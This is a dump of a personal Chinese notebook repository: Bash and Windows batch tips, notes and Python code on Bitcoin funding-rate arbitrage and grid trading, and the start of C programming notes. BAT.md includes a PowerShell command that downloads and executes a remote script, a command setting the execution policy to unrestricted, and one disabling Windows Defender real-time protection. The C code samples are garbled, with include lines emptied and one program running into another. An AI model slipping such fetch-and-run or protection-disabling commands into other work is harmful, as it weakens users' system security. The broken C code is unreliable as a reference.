Repository: zjuchenyuan/notebook Branch: master Commit: 904c0b848877 Files: 233 Total size: 4.8 MB Directory structure: gitextract_dap1uylg/ ├── .gitignore ├── .nojekyll ├── BASH.md ├── BAT.md ├── Bitcoin.md ├── C.md ├── CDN.md ├── CNAME ├── Developer.md ├── Docker.md ├── ETH.md ├── Favorites.md ├── Flask.md ├── Gemfile ├── Git.md ├── GithubProjectRecommendation.md ├── Java.md ├── JavaScript.md ├── Jekyll.md ├── Links.md ├── Linux-SSH.md ├── Linux-VirtualBox.md ├── Linux-backup.md ├── Linux-cli.md ├── Linux-setup.md ├── Misson.md ├── MySQL.md ├── Nginx.md ├── PHP.md ├── PaperReading.md ├── Python.md ├── PythonCourse.md ├── README.md ├── RabbitMQ.md ├── S2-045.md ├── Ubuntu.md ├── WindowsSoftware.md ├── _clicktocompile.bat ├── _config.yml ├── assets/ │ ├── css/ │ │ ├── filelist.txt │ │ └── fonts.css │ └── js/ │ ├── comment.js │ ├── css-vars-ponyfill.js │ └── index.js ├── cURL.md ├── ccfbadge.md ├── code/ │ ├── EasyLogin.py │ ├── Javascript/ │ │ └── 异常.html │ ├── MultiThread_Template.py │ ├── PHP/ │ │ └── ShowDoc.sh │ ├── RVPNKeepAlive.bat │ ├── SpecialJudge_检查输出行顺序无关的答案.c │ ├── Understand_recursion/ │ │ └── example1.c │ ├── autoseed_byr2nhd.py │ ├── ccfbadge.user.js │ ├── ctf.cf_crackme/ │ │ └── zeph1/ │ │ ├── exp.cpp │ │ ├── keygenme1.idb │ │ └── readme.txt │ ├── decisiontree.py │ ├── dfsanexiv2/ │ │ ├── Dockerfile │ │ └── build.sh │ ├── exp.S2-045.py │ ├── fixgbknames.py │ ├── getcert.py │ ├── jshook_preload.js │ ├── newubuntu14.txt │ ├── pingtest.sh │ ├── pinyin.sql │ ├── randomstring.html │ ├── showtiponcc98.user.js │ ├── spider.oncokb.js │ ├── ssgit.txt │ ├── ssprivoxy.txt │ ├── staticwebsite_template_compile.py │ ├── upyun.py │ ├── upyun_purge.py │ ├── xinetd-ctf.conf │ ├── zju_grs_helper.user.js │ ├── 浙大教务网自动评教.txt │ ├── 读fasta文件.py │ └── 静态路由设置.bat ├── compile.sh ├── dfsan.md ├── doc/ │ ├── PAT/ │ │ ├── pat-a-practise/ │ │ │ └── 1005.py │ │ └── pat-b-practise/ │ │ ├── 1001.py │ │ ├── 1002.py │ │ ├── 1003.py │ │ ├── 1004.py │ │ ├── 1005.py │ │ ├── 1006.py │ │ ├── 1007.py │ │ ├── 1008.py │ │ ├── 1009.py │ │ ├── 1010.py │ │ ├── 1011.py │ │ ├── 1012.py │ │ ├── 1013.py │ │ ├── 1014.py │ │ ├── 1023.py │ │ ├── 1063.py │ │ ├── 1064.py │ │ └── 1065.py │ ├── biology/ │ │ └── ecology.md │ ├── github/ │ │ └── github_profile_checklist.md │ ├── how_to_succeed.txt │ ├── pygment_langs.txt │ └── python/ │ └── quickstart.html ├── docs/ │ ├── 404.html │ ├── BASH/ │ │ └── index.html │ ├── BAT/ │ │ └── index.html │ ├── Bitcoin/ │ │ └── index.html │ ├── C/ │ │ └── index.html │ ├── CDN/ │ │ └── index.html │ ├── CNAME │ ├── Developer/ │ │ └── index.html │ ├── Docker/ │ │ └── index.html │ ├── ETH/ │ │ └── index.html │ ├── Favorites/ │ │ └── index.html │ ├── Flask/ │ │ └── index.html │ ├── Git/ │ │ └── index.html │ ├── GithubProjectRecommendation/ │ │ └── index.html │ ├── Java/ │ │ └── index.html │ ├── JavaScript/ │ │ └── index.html │ ├── Jekyll/ │ │ └── index.html │ ├── Links/ │ │ └── index.html │ ├── Linux-SSH/ │ │ └── index.html │ ├── Linux-VirtualBox/ │ │ └── index.html │ ├── Linux-backup/ │ │ └── index.html │ ├── Linux-cli/ │ │ └── index.html │ ├── Linux-setup/ │ │ └── index.html │ ├── Misson/ │ │ └── index.html │ ├── MySQL/ │ │ └── index.html │ ├── Nginx/ │ │ └── index.html │ ├── PHP/ │ │ └── index.html │ ├── PaperReading/ │ │ └── index.html │ ├── Python/ │ │ └── index.html │ ├── PythonCourse/ │ │ └── index.html │ ├── RabbitMQ/ │ │ └── index.html │ ├── S2-045/ │ │ └── index.html │ ├── Ubuntu/ │ │ └── index.html │ ├── WindowsSoftware/ │ │ └── index.html │ ├── assets/ │ │ ├── css/ │ │ │ ├── filelist.txt │ │ │ └── fonts.css │ │ ├── javascripts/ │ │ │ └── lunr/ │ │ │ ├── tinyseg.js │ │ │ └── wordcut.js │ │ └── js/ │ │ ├── comment.js │ │ ├── css-vars-ponyfill.js │ │ └── index.js │ ├── cURL/ │ │ └── index.html │ ├── ccfbadge/ │ │ └── index.html │ ├── code/ │ │ ├── EasyLogin.py │ │ ├── Javascript/ │ │ │ └── 异常.html │ │ ├── MultiThread_Template.py │ │ ├── PHP/ │ │ │ └── ShowDoc.sh │ │ ├── RVPNKeepAlive.bat │ │ ├── SpecialJudge_检查输出行顺序无关的答案.c │ │ ├── Understand_recursion/ │ │ │ └── example1.c │ │ ├── autoseed_byr2nhd.py │ │ ├── ccfbadge.user.js │ │ ├── ctf.cf_crackme/ │ │ │ └── zeph1/ │ │ │ ├── exp.cpp │ │ │ ├── keygenme1.idb │ │ │ └── readme.txt │ │ ├── decisiontree.py │ │ ├── dfsanexiv2/ │ │ │ ├── Dockerfile │ │ │ └── build.sh │ │ ├── exp.S2-045.py │ │ ├── fixgbknames.py │ │ ├── getcert.py │ │ ├── jshook_preload.js │ │ ├── newubuntu14.txt │ │ ├── pingtest.sh │ │ ├── pinyin.sql │ │ ├── randomstring.html │ │ ├── showtiponcc98.user.js │ │ ├── spider.oncokb.js │ │ ├── ssgit.txt │ │ ├── ssprivoxy.txt │ │ ├── staticwebsite_template_compile.py │ │ ├── upyun.py │ │ ├── upyun_purge.py │ │ ├── xinetd-ctf.conf │ │ ├── zju_grs_helper.user.js │ │ ├── 浙大教务网自动评教.txt │ │ ├── 读fasta文件.py │ │ └── 静态路由设置.bat │ ├── dfsan/ │ │ └── index.html │ ├── doc/ │ │ ├── PAT/ │ │ │ ├── pat-a-practise/ │ │ │ │ └── 1005.py │ │ │ └── pat-b-practise/ │ │ │ ├── 1001.py │ │ │ ├── 1002.py │ │ │ ├── 1003.py │ │ │ ├── 1004.py │ │ │ ├── 1005.py │ │ │ ├── 1006.py │ │ │ ├── 1007.py │ │ │ ├── 1008.py │ │ │ ├── 1009.py │ │ │ ├── 1010.py │ │ │ ├── 1011.py │ │ │ ├── 1012.py │ │ │ ├── 1013.py │ │ │ ├── 1014.py │ │ │ ├── 1023.py │ │ │ ├── 1063.py │ │ │ ├── 1064.py │ │ │ └── 1065.py │ │ ├── biology/ │ │ │ └── ecology/ │ │ │ └── index.html │ │ ├── github/ │ │ │ └── github_profile_checklist/ │ │ │ └── index.html │ │ ├── how_to_succeed.txt │ │ ├── pygment_langs.txt │ │ └── python/ │ │ └── quickstart.html │ ├── download/ │ │ └── switchyomega.crx │ ├── gist/ │ │ └── index.html │ ├── index.html │ ├── p.html │ ├── quickstart.html │ ├── search/ │ │ └── search_index.json │ ├── sitemap.xml │ ├── zjugrshelper/ │ │ └── index.html │ └── 谈谈安全/ │ └── index.html ├── download/ │ └── switchyomega.crx ├── gist.md ├── mkdocs.yml ├── paperreading/ │ ├── .obsidian/ │ │ ├── config │ │ ├── graph.json │ │ ├── plugins/ │ │ │ └── cm-editor-syntax-highlight-obsidian/ │ │ │ ├── manifest.json │ │ │ └── styles.css │ │ └── workspace │ ├── ProFuzzBench Arxiv.md │ ├── ccs2020.md │ └── kennyloggings ccs2020.md ├── tagalias.txt ├── zjugrshelper.md └── 谈谈安全.md ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ venv/ *.status docs/sitemap.xml.gz Gemfile.lock .jekyll-metadata config.py __pycache__ *.pyc mdfiles ================================================ FILE: .nojekyll ================================================ ================================================ FILE: BASH.md ================================================ # BASH ## 在bash脚本中使用alias @TAG alias 加上这么一句: ``` shopt -s expand_aliases ``` ## 判断命令行参数是否为空 在python里可以用len(sys.argv)判断参数个数,bash里用中括号里的-z ``` if [ -z "$1" ] && [ -z "$2" ]; then echo "Usage: $0 " fi ``` ## for循环用seq生成数字列表 @TAG seq 注意终点是包含在内的,不同于Python的range - `seq 3`: 1 2 3 - `seq 2 3`: 2 3 - `seq 1 2 5`: 1 3 5 ``` for i in $(seq 1 $END); do echo $i; done ``` ## BASH做不同进制间数学计算 不需要bc也可以直接做计算,例如计算5+0xa+0b1010 ``` echo $((5+16#a+2#1010)) ``` ## 判断命令不存在再apt安装 ``` command -v aria2c >/dev/null 2>&1 || { apt update && apt install -y aria2; } ``` 如果有多个软件可能要安装,没必要每次都apt update,可以先装了再说 失败就apt update ``` command -v 7z >/dev/null 2>&1 || { apt-get install -y p7zip; } command -v 7z >/dev/null 2>&1 || { apt update; apt-get install -y p7zip; } ``` ## 判断文件不存在 注意`]`前面要有空格 ``` if [ ! -f "somefile" ]; then curl ... fi ``` ---- ## sort排序 逆序 -r 按版本排序 排序IP地址 -V 按数字排序 -n 按人类理解的文件大小排序 -h 指定某些列来排序 -k 3,3 -k 4,4 指定分隔符用-t '.' 参考: https://www.madboa.com/geek/sort-addr/ ---- ## rsync移动远程目录特定文件至本机后循环操作 rsync有`--dry-run`参数确认没出错后再操作 ``` rsync -P --remove-source-files -avz '1.2.3.4:/root/dockerimages/*.tar.7z' ./ for filename in *.tar.7z; do 7z x -so $filename | docker load; mv $filename ./done/; done ``` ================================================ FILE: BAT.md ================================================ # BAT 批处理 也包含一些Windows命令行工具 ## 快速打开cmd 还在用Win+R cmd再用pushd命令? 在资源管理器的地址栏输入cmd回车就能直接进入当前目录 另外,不如直接[把cmd加入到鼠标右键](/WindowsSoftware/#bash) ---- ## 并列语句语法 ``` 顺序执行 & echo a & echo b 前者正确才执行 && >nul 2>nul ping -n 1 qq.com && echo network ok 前者错误才执行 || >nul 2>nul ping -n 1 qq.com || echo network failure ``` ---- ## 来一个死循环吧 for > 用于结束进程,或者DNS查询看看解析是否生效 for /l %i in (1,1,9999999) do ... ---- ## 结束进程 taskkill > 当启动cmd窗口过多的时候,使用taskkill批量关闭 taskkill /f /im cmd.exe 类似的Linux命令为`killall bash` ---- ## 内存整理 free > 微软自己出的一个内存整理工具,需要管理员权限 > 下载:[empty.exe](https://d.py3.io/empty.exe) empty * ---- ## 睡一会 SleepX > 程序需要等待一定时间再继续运行就可以sleepx啦,作者Bill Stewart (bstewart@iname.com) > 下载:[SleepX.exe](https://d.py3.io/SleepX.exe) SleepX 10 等待5s,如果用户等不及可以按键,此时 not "%errorlevel%" == "0" SleepX -k 5 ---- ## 命令行的浏览器 curl ![cURL](https://curl.haxx.se/logo/curl-logo.svg) > 大名鼎鼎的cURL,不必多言;只是它的命令行的运行方式与libcurl用起来差异很大(如比较php的curl用法) > 官方:https://curl.haxx.se/ > 简单入门:http://www.bathome.net/thread-1761-1-1.html > **将curl转为python requests** http://curl.trillworks.com/ [下载7.51 x64版本](https://d.py3.io/curl.exe) 具体请见单独文档[cURL.md](cURL.md) ---- ## 判断文件夹存在 通过判断nul这个特殊文件的存在性(用户并不能创建文件名形如nul的特殊文件) ``` if exist DIRNAME\nul echo Yes! ``` ---- ## 创建硬链接mklink或者fsutil hardlink create Win7及以上: ``` mklink /H Link Target ``` 目录还需要/J ``` mklink /H /J Link Target ``` WinXP只能用: ``` fsutil hardlink create ``` ---- ## 端口转发 此命令需要管理员权限 ``` netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=转发出的端口 connectaddress=转发的源IP地址 connectport=转发的源端口 ``` ---- ## 保持RVPN不断开 rvpn会自动断开,所以写了个脚本判断并自动重连 [RVPNKeepAlive.bat](code/RVPNKeepAlive.bat) 其中的知识点: 1. 判断命令是否成功用if "%errorlevel%"=="0",errorlevel这个变量是上一条命令的返回结果(C程序的int main的返回值),一般规定返回0表示没有发生错误 2. 用ping www.baidu.com和ping -n 2 ip.cn做粗糙的等待延时,其中-n表示ping的次数,默认是4,改小一点就是更短的延时咯 3. 启动一个GUI的exe,需要用start "" example.exe ---- ## 浙江大学有线vpn静态路由配置脚本 Author: shuishui [静态路由设置.bat](code/静态路由设置.bat) ---- ## 进入休眠 Win10似乎没有从鼠标进入休眠而不是睡眠的方法,但调用rundll32进入休眠模式还是可以的: ``` rundll32.exe powrProf.dll,SetSuspendState ``` ---- ## 快速进入系统代理设置 @TAG 代理 From: https://stackoverflow.com/questions/3648366/is-it-possible-to-launch-ies-proxy-settings-dialog-from-the-command-line 不用启动`c:\Program Files\Internet Explorer\iexplore.exe`,直接Win+R输入这个就能打开IE的连接设置,方便修改代理: ``` inetcpl.cpl ,4 ``` ---- ## 在普通权限cmd中获得更高权限 比如下文的修改ip等操作就需要管理员权限。你可以先启动任务管理器,再运行一个管理员权限的cmd;现在有了更加直接的操作 ### 方案1:[elevate](http://code.kliu.org/misc/elevate/) 下载地址:[http://code.kliu.org/misc/elevate/elevate-1.3.0-redist.7z](http://code.kliu.org/misc/elevate/elevate-1.3.0-redist.7z) 特点:有UAC弹窗,会启动一个新窗口 例子: ``` REM 启动一个特权的cmd elevate -k REM 执行dir并等待结束 elevate -c -w dir ``` ### 方案2:Sudo for Windows – Luke Sampson 参考:https://helpdeskgeek.com/free-tools-review/5-windows-alternatives-linux-sudo-command/ 在powershell中输入以下命令完成安装: ``` iex (new-object net.webclient).downloadstring(‘https://get.scoop.sh’) set-executionpolicy unrestricted -s cu -f scoop install sudo ``` 特点:比较慢,仍然有UAC弹窗,不会启动一个新窗口 ---- ## 命令行配置IP 需要管理员权限,参见上方`在普通权限cmd中获得更高权限` 参考:https://helpdeskgeek.com/networking/change-ip-address-and-dns-servers-using-the-command-prompt/ 首先使用`netsh interface ip show config`查看适配器的名称,假设需要配置的是`以太网` ### 配置静态IP和DNS ``` netsh interface ip set address name="以太网" static 192.168.1.101 255.255.255.0 192.168.1.1 netsh interface ip set dns "以太网" static 192.168.1.1 ``` ### 配置DHCP ``` netsh interface ip set address name="以太网" dhcp netsh interface ip set dns "以太网" dhcp ``` ---- ## 命令行使用VeraCrypt VeraCrypt是TrueCrypt代替者,其命令行使用方式: https://www.veracrypt.fr/en/Command%20Line%20Usage.html 下载Portable版本即可,下载地址:https://www.veracrypt.fr/en/Downloads.html ### 创建一个加密盘 不与用户交互所以指定`/q /s`,具体来说/q表示不显示主窗口,/s表示不显示任何交互窗口也不报错,注意使用这两个参数后即使出错也不会有任何提醒 文件名test.hc,大小100M,密码必须20个字符或以上,加密方式使用最快的Serpent,为了加速挂载过程指定/pim 1 ``` "VeraCrypt Format.exe" /create test.hc /password testtesttesttesttest /hash sha512 /encryption serpent /filesystem FAT /size 100M /pim 1 /force /silent ``` 如果不指定/pim来降低迭代次数,挂载时需要耗时十秒以上无法接受,所以牺牲一点安全性来换取性能。关于PIM的文档: https://www.veracrypt.fr/en/Personal%20Iterations%20Multiplier%20(PIM).html ### 挂载加密盘 挂载test.hc至Z:盘,需要指定与创建过程相同的/pim 这个命令会立即返回,但真正挂载可以访问Z盘可能还需要等待数秒 ``` VeraCrypt.exe /quit /silent /volume test.hc /password testtesttesttesttest /pim 1 /l z ``` ### 卸载已经挂载的加密盘 ``` VeraCrypt.exe /quit /silent /dismount z ``` ---- ## 命令行关闭Windows Defender 在进行大量IO操作的时候(如拷贝大量小文件),Windows Defender会严重拖慢任务速度 在管理员权限下powershell可以直接临时关闭Windows Defender的实时防护 搭配elevate.exe使用即可在Win+R中快速关闭: ``` elevate powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" ``` 这个似乎在最新的Windows 2004已经失效 --------- ## 命令行增加Windows防火墙规则阻断IP @TAG 防火墙 当然需要管理员权限的cmd,能一行搞定何必在繁琐的设置步骤中周旋 参考 https://serverfault.com/questions/851922/blocking-ip-address-with-netsh-filter ``` netsh advfirewall firewall add rule name="IP Block" ^ dir=in interface=any action=block remoteip=198.51.100.108/32 ``` ================================================ FILE: Bitcoin.md ================================================ # Bitcoin 我也来试水当个被割的韭菜了 ### 套利实时收益率 以下为实时收益率数据(每天更新一次):[Code](https://github.com/zjuchenyuan/arbitrage_notification) 预测收益:下一次结算收益(确定值)+下下次结算收益(预估值,随价差波动),单位为千分之 昨日收益:最近三次结算的累计收益 7日年化:最近21次结算平均收益 具体计算见上文**计算收益率** 显示全部 关注1 关注2 关注3 关注4
火币 火币u 币安 币安u OKex https://d.py3.io/btc.html ## 期货永续合约介绍 以火币的btc合约为例,交易单位最小是一张100 USD美元(其他币种都是10美元) 交易都是基于btc担保,挣到的也是btc **买入1张看涨 做多**:相当于按照现在的合约价格用100USD买入btc,也就是借到了币,期待比特币价格上涨;承诺未来会卖出btc平仓得到100USD返还,在平仓时如果真的涨了,那时需要卖出的btc就比当时开仓时的数量少,这个差异的部分就是挣到的btc;如果btc价格一直下跌,账户里所有的btc卖出都不够100USD就爆仓了(实际爆仓规则更复杂) **卖出1张看跌 做空**:相当于按照现在的合约价格卖出btc手上拿着100USD,也就是借到了美元(然而并不能拿到美元),承诺未来会把这100美元买回btc,如果按预期真的跌了平仓时就能买到更多的btc。注意到买卖这个期货都是基于btc担保的,所以如果不加杠杆做空,就完全等价于卖出持有的btc,不存在爆仓风险,也就是说想真正做空(花人民币赌btc跌)必须上杠杆 ## 永续合约资金费率套利 这本质上是一个套期保值的操作,是套利,不是高频交易策略,建仓后无需操作,只需要观察是否趋势反转决定平仓时机,例如当七日年化收益为负时平仓卖出 期货合约的交易价格为啥会与现货(BTC/USDT)相差不大呢?因为存在每8个小时的结算机制,如果合约价格>现货价格,说明多方占优,则多方向空方支付资金费,如0.01%(具体数值与价差相关)。[官方说明](https://huobiglobal.zendesk.com/hc/zh-cn/articles/900000106903) 套利操作:用usdt买入币种,立刻下空单无杠杆做空相同数量——这样我们一买一卖相当于没有买入,资产净值不受币价波动影响,只是做空收取资金费 具体操作:先在法币交易用人民币买usdt,然后在币币交易买入10.1usdt的币(多买一点给扣手续费),立刻转入永续合约账户开始1倍做空一张,然后长期持有直到趋势反转(持续支付资金费)。 不要看账户的收益率,这个单单是做空本身相当于持币的收益率,我们并没有持币,正确的收益计算应该是账户权益(币的数量)*当前币币交易价格,收益的基准比较应该是低风险债券而不是高风险持币 历史数据查询: [资金费率](https://futures.huobi.com/zh-cn/swap/info/swap_fee/) [结算价格](https://futures.huobi.com/zh-cn/swap/info/settlement/) 爬取一下历史数据:(看起来ONT套利收益最高,不过上线时间不够长不具有代表性) **计算收益率**时不能简单对单次收益率求和,应该考虑币价波动对最后实际收益的影响:假设投入1USD,计算每次结算能收到多少币,累加后按最近一次结算价计算这些币值多少USD,除以结算次数乘以一年的结算次数即为年化收益 ```python import requests, os, sys, time from decimal import Decimal from functools import lru_cache sess = requests.session() @lru_cache() def getdata(coin, page=1): page = str(page) data = [Decimal(i['final_funding_rate']) for i in sess.get("https://futures.huobi.com/swap-order/x/v1/swap_funding_rate_page?contract_code="+coin+"-USD&page_index="+page+"&page_size=100", headers={"source":"web"}).json()["data"]["settle_logs"]] settle = [Decimal(i["instrument_info"][0]["settle_price"]) for i in sess.get("https://futures.huobi.com/swap-order/x/v1/swap_delivery_detail?symbol="+coin+"&page_index="+page+"&page_size=100", headers={"source":"web"}).json()["data"]["delivery"]] return data, settle def calc_fullprofit(coin): data, settle = [], [] page = 1 x = getdata(coin) while len(x[0]): data.extend(x[0]) settle.extend(x[1]) page+=1 x = getdata(coin, page) profit_coin = sum([k/settle[i] for i,k in enumerate(data)]) profit_usd = profit_coin*settle[0] return "%.2f"%(profit_usd/len(data)*3*365*100) + "%", len(data) data=[] for i in "BTC ETH EOS LINK BCH BSV LTC XRP ETC TRX ADA ATOM IOTA NEO ONT XLM XMR DASH ZEC".split(" "): profit, length = calc_fullprofit(i) data.append([i, profit, length]) data.sort(key=lambda i:i[1], reverse=True) for i,profit,length in data: print("",i, profit, length,"", sep="|") ``` 风险: From [数字币套利简史(下)](https://www.chainnode.com/post/391781) >需要注意的是,资金费率的套利更加适合趋势上涨的行情,而且要留意行情的反转导致费率趋势的扭转,可能会套利失效;还有就是对于像18年的趋势下跌行情,虽然套利逻辑一样,但操作会更加复杂,因为这里面要涉及到永续合约+交割合约的组合对冲,占用币数也会翻倍,也就是说同样的币量套利年化收益率要打5折;所以,好好珍惜这来之不易的好行情吧。 交易期间手速慢或交易不活跃会导致买入现货价格高于做空价格,导致额外的成本损耗;持有期间的最大风险在于美元贬值的风险,例如USDT 7.1买入,最后6.9卖出,即为28.2‰亏损 另外,如果btc持续上涨,在持仓中看到做空亏了百分之多少还是有点心痛的,这就需要良好的心理素质,套利相比于持币动辄一天10%的波动就挣不到多少钱hhh ------ ## 套利+网格交易 上述能被选出的资金费率高的套利币种,往往也是涨幅巨大的币种,可能还不如简单持币赚得更多,于是可以尝试更稳妥网格。网格的一个缺点在于资金利用率低,等着抄底买入的资金是闲置的,自然想到可以把上述资金费率套利结合起来,还没买入的部分就等量做空,优点在于: - 还没买入的抄底资金能赚取资金费率,不完全闲置 - 没有usdt暴雷风险,币本位永续合约挂钩的是美元而不是usdt - 手续费低,火币现货交易千2,币安合约交易maker只有万1.5 调用币安python sdk自动挂单,代码逻辑是: 获取当前所有的挂单,比对配置的价格数组,找到缺失的价格们。 这些缺失的价格是因为挂单成交导致的,需要补上。 最新成交的那一单价格定为p,p本身是不能补单的(刚突破的网格本身再补上就是白交手续费)。 小于p的缺失价格需要补上buy,大于的补上sell。 在行情剧烈波动的时候,可能一分钟就会成交多次订单需要及时补单,就遇到了具体编码的挑战: ### 如何获取最新的成交订单? 订单号排序?不行,orderId只是按下单时间递增,orderId最大并不一定最近成交 获取当前最新价格,比较哪个缺失价格离最新价格更近?在行情剧烈波动时不可靠 获取历史所有订单,按updateTime排序?实测发现这个api有两个问题: - 多个订单updateTime相同,无法排序区分 - 数据延迟,最新成交的订单并不一定出现 解决方案是: - 获取最新成交的成交记录,从中提取包含的orderId,再查询订单。不排除这个REST API也存在数据延迟的问题 - 使用websocket ### 币安Python SDK没有币本位合约接口 现在代码已经有更新补上了REST API的缺失,但websocket订阅账户变动的代码还是得自己来: client.py里stream_get_listen_key附近加上: ``` def futures_stream_get_listen_key(self): res = self._request_futures_api("post", "listenKey", True, data={}) return res['listenKey'] ``` 调用就这样: ``` def start_websocket(self, handle_order): def process_message(msg): global conn_key if msg['e'] not in ['ACCOUNT_UPDATE'] and not (msg['e']=='ORDER_TRADE_UPDATE' and msg['o']['X']=='NEW'): myprint("message:", msg['e'], msg) if msg['e'] == 'error': bm.stop_socket(conn_key) bm.close() reactor.stop() print("socket stopped, exit now!") exit() elif msg['e']=='ORDER_TRADE_UPDATE': o = msg['o'] if o['X']!='FILLED': return order = {"price":o['p'], "orderId":o['i'], "side":o["S"], "symbol":o["s"], "clientOrderId":o["c"]} return handle_order(order) client = self.client client.stream_get_listen_key = client.futures_stream_get_listen_key client.FUTURES_URL = client.FUTURES_URL.replace("fapi", "dapi") bm = BinanceSocketManager(client) bm.STREAM_URL = "wss://dstream.binance.com/" conn_key = bm.start_user_socket(process_message) bm.start() ``` 上述代码直接魔改BinanceSocketManager的常数定义来实现对币本位合约API的调用,订阅账户变动消息,只处理ORDER_TRADE_UPDATE中FILLED的订单,调用handle_order函数进行处理 ### 各种异常处理 **避免重复下单**: 下单时指定包含价格信息的newClientOrderId,重复下单自然会失败,避免相同的订单重复下单`APIError(code=-4015): Client order id is not valid.`,但这个保护只针对还在挂单的订单,相同的clientorderid如果前述订单已经成交,不会阻止新的提交。 **已经重复下单**:需要比对当前价格与定义好的网格数组,判断当前应该的仓位是多少,然后使用市价单或者额外在相邻网格下单保证仓位的正确性,注意极端行情下自动补仓依据的仓位价值可能有误。例如买入是靠平仓做空实现的,这是种reduceOnly的订单,必须有足够多的做空仓位才能买,否则报错:`APIError(code=-2022): ReduceOnly Order is rejected.` 已经下的**订单状态变成“已过期”**:这种还是因为已经发生了超买/超卖,保证金不足,官方说明: > https://www.binance.com/zh-CN/support/faq/360039707291 > 保证金审核不过(针对于止盈止损单):止盈止损单中需要设置触发价和成交价(市价止盈止损单中,可以根据不同需要设置根据标记价格或最新价格触发),系统会进行两次保证金审核,分别在下单前和成交前。订单触发之后,系统会立即进行第二次保证金审核,若当前发生了亏损或划转出了保证金,导致可用保证金不足,此时订单状态会显示已过期。 **保证金不足**:直接把杠杆倍数变成2可以避免这个问题,即使加杠杆也不会出现强平价格。 **服务器网络不可靠**:在其他地区的服务器同时跑轮询,即使单个服务器挂掉,也有其他服务器靠轮询补上订单,但注意分布式后日志收集是个新的难点 **listenKeyExpired**:收到这种类型的消息需要重新连接,也可以主动轮询的时候调用futures_stream_get_listen_key对现有的Listen Key进行刷新 ---------- ## 获取交易所价格信息 在统计资产时对价格实时性没有要求,可以缓存60秒;用法:`print(HUOBI_Price.btc)`,返回的是字符串类型 ``` class class_CEXPRICE(): def __init__(self): self.updatetime = -1 def __getattr__(self, token): if time.time()-self.updatetime>=60: print("fetch", self, end="", flush=True) self.data = self.fetchprice() print() self.updatetime = time.time() return self.handleprice(token) class class_HUOBI_Price(class_CEXPRICE): def fetchprice(self): return sess.get("https://api.huobi.pro/market/tickers", timeout=5).json()["data"] def handleprice(self, token): return [i for i in self.data if i["symbol"]==token.lower()+"usdt"][0]["close"] HUOBI_Price=class_HUOBI_Price() class class_BINANCE_Price(class_CEXPRICE): def fetchprice(self): return sess.get("https://api.binance.com/api/v3/ticker/price", timeout=5).json() def handleprice(self, token): if "busd" not in token.lower(): token = token.lower()+"usdt" return [i for i in self.data if i["symbol"]==token.upper()][0]["price"] BINANCE_Price=class_BINANCE_Price() class class_MXC_Price(class_CEXPRICE): def fetchprice(self): return sess.get("https://www.mxc.com/open/api/v2/market/ticker", timeout=5).json()["data"] def handleprice(self, token): return [i for i in self.data if i["symbol"]==token.upper()+"_USDT"][0]["last"] MXC_Price = class_MXC_Price() ``` ----- ## terra地址转为以太坊地址 依赖库:`pip3 install bech32` ``` import bech32 words = bech32.bech32_decode(terra_addr)[1] ethaddr = "".join([hex(i)[2:].rjust(2,"0") for i in bech32.convertbits(words,5,8,False)]) ``` **反过来就是** ``` words = [int(ethaddr[i:i+2], 16) for i in range(0,40,2)] terra_addr = bech32.bech32_encode("terra", bech32.convertbits(words, 8, 5, False)) ``` ================================================ FILE: C.md ================================================ # C语言 一点关于C的建议咯,也包含C++ 顺带附上几个题目和我写的解答 ---- ## 关于Dev C++ * 有时候会发生改了代码但运行起来是旧版本的情况,需要检查是否关闭了正在运行的exe,如果是工程需要按F12全部重新编译清空缓存 * 编译工程错误定位在Makefile说明有函数声明了但没有定义,或者可能是出现了多个文件同名函数,小心其创建工程的时候自动产生的main.c * 如果单纯只需要编译一个C文件,为追求编译速度可以考虑使用tcc (Tiny C Compile)编译器,参见[https://qs1401.com/?post=18](https://qs1401.com/?post=18);另外你可以修改编译的优化参数,不要用`-O3`这种更适合正式发布时的优化选项 * 不要在一个项目中混用.c和.cpp,将导致`ld`链接的时候函数找不到。因为编译.cpp的时候是C++的编译,由于要支持重载,编译器会自动修改函数名称,导致代码中同样名字的函数编译出来的.o文件里面函数名称是不同的,这样.c找不到.cpp的函数,自然无法链接;不过还是有技巧的:extern "C"包住即可 * 注意指针的星号别少写:想一次写两个指针?不能写`FILE* fp1,fp2;`而是每个变量前面都要带上星号!正确写法:`FILE *fp1,*fp2; char *s1,*s2;` ---- ## 输入的问题 在开发真实用户会使用的命令行程序时,我建议所有的输入全部使用gets完成,然后再用sscanf读取到变量,可以有效防止scanf在一行出错波及到下一行 当然更安全的是 `fgets(buf,9999,stdin);` 指定最多读取多少个字节避免栈溢出,但这种方法会得到\n字符 另外,无论是scanf还是sscanf,赋值给int/double等类型的变量一定要写&符号! 以下代码演示这种输入方法,对输入的n个数调用qsort排序;输入格式:第一行 N表示数的个数,第二行 N个需要排序的数(N<1000) ```cpp #include #include char buf[9999]; int data[1005]; //不要在局部变量定义大数组,会炸栈 int cmp(const void* a,const void* b){ return *(int*)a-*(int*)b; } int main(){ int N,i; gets(buf); sscanf(buf,"%d",&N); gets(buf); for(i=0;i #include #include using namespace std; int main(){ stringstream s; string result; int i = 1000; s <<"haha "<< i; getline(s,result); // the whole line rather than just the first word cout << result << endl; // print "haha1000" s.clear(); } ``` ---- ## 解决g++省略拷贝构造函数的问题 g++为了防止在函数返回值是对象的时候,拷贝构造被调用多次,即使拷贝构造函数有副作用,也会被优化掉(直接就不调用拷贝构造函数了) 为了解决这个问题,从而证明教材上的正确性/语言的特性,需要在编译(不是链接)的时候加入以下开关: ``` -fno-elide-constructors ``` ---- ## [数据结构]树的遍历 允许不确定个元素的子节点个数,要求给出所有从根节点开始到叶节点的路径 我是这么写的遍历循环(伪代码),其中p1和p2是指向节点的指针: ``` 路径=[根节点] while(循环条件): while (p2=p1的下一个没有遍历过的子节点)不为空: 把p2加入路径 p1=p2 if p1为叶节点: 得到了一条从根节点到一个叶节点的路径 路径pop,换言之,删掉最后加入的节点 p1=p1的父节点(就是回溯) ``` 其中关键的**p1的下一个没有遍历过的子节点**的实现是这样子的: ``` if 当前孩子的下标>=孩子总数: return NULL else return 子节点数组[当前下标++] ``` 卖个关子。。。请思考一下循环条件应该写啥? ### 遍历的循环条件 一开始我写的是:“根节点还有未遍历过的子节点”,但是这么写在这里就出了问题,由于标记已经遍历的子节点发生在真正遍历完子节点之前(我用的return 数组[下标++]),在循环根节点的最后一个子节点的时候会提前结束循环,导致没能遍历所有节点! 正确的写法是:**路径的元素个数>=1** 路径可以用vector实现,元素个数就是vector的size(),只有遍历完成了整个树之后,根节点才会被pop出来,结束循环。 ### 使用面向对象的思想 